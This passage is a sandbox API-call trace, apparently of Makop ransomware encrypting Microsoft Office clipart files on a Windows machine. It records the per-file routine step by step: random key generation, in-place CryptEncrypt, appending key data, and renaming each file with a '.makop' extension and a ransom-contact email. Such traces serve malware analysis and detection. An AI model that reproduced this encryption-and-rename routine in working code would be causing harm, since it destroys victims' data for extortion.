ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0138.218] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG") returned 63 [0138.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.219] GetProcessHeap () returned 0x48a0000 [0138.219] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.219] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.219] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.314] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.314] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.314] GetProcessHeap () returned 0x48a0000 [0138.314] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.314] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.314] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.314] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.315] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.315] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.316] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.316] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.316] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x351c, lpOverlapped=0x0) returned 1 [0138.317] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3520, dwBufLen=0x3520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3520) returned 1 [0138.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3520, lpOverlapped=0x0) returned 1 [0138.318] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x35f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.318] SetEndOfFile (hFile=0xf0) returned 1 [0138.326] GetProcessHeap () returned 0x48a0000 [0138.326] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.326] GetProcessHeap () returned 0x48a0000 [0138.326] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.326] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.328] CloseHandle (hObject=0xf0) returned 1 [0138.329] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0138.329] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG") returned 63 [0138.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.330] GetProcessHeap () returned 0x48a0000 [0138.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.331] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0138.433] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.434] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.434] GetProcessHeap () returned 0x48a0000 [0138.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.434] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.435] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.435] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31883, lpOverlapped=0x0) returned 1 [0138.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31890, dwBufLen=0x31890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31890) returned 1 [0138.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.442] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31890, lpOverlapped=0x0) returned 1 [0138.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.444] SetEndOfFile (hFile=0xf0) returned 1 [0138.453] GetProcessHeap () returned 0x48a0000 [0138.453] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.453] GetProcessHeap () returned 0x48a0000 [0138.454] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.454] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.455] CloseHandle (hObject=0xf0) returned 1 [0138.455] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0138.456] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG") returned 63 [0138.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.457] GetProcessHeap () returned 0x48a0000 [0138.457] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.457] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0138.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.648] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.649] GetProcessHeap () returned 0x48a0000 [0138.649] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.649] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.649] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.650] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15d49, lpOverlapped=0x0) returned 1 [0138.658] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15d50, dwBufLen=0x15d50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15d50) returned 1 [0138.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.659] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15d50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15d50, lpOverlapped=0x0) returned 1 [0138.660] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.660] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.660] SetEndOfFile (hFile=0xf0) returned 1 [0138.667] GetProcessHeap () returned 0x48a0000 [0138.667] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.667] GetProcessHeap () returned 0x48a0000 [0138.667] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.667] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.669] CloseHandle (hObject=0xf0) returned 1 [0138.669] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0138.706] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG") returned 63 [0138.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.708] GetProcessHeap () returned 0x48a0000 [0138.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0138.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.713] GetProcessHeap () returned 0x48a0000 [0138.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.713] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.714] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e836, lpOverlapped=0x0) returned 1 [0138.719] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e840, dwBufLen=0x1e840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e840) returned 1 [0138.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e840, lpOverlapped=0x0) returned 1 [0138.721] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.722] SetEndOfFile (hFile=0xf0) returned 1 [0138.730] GetProcessHeap () returned 0x48a0000 [0138.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.730] GetProcessHeap () returned 0x48a0000 [0138.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.730] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 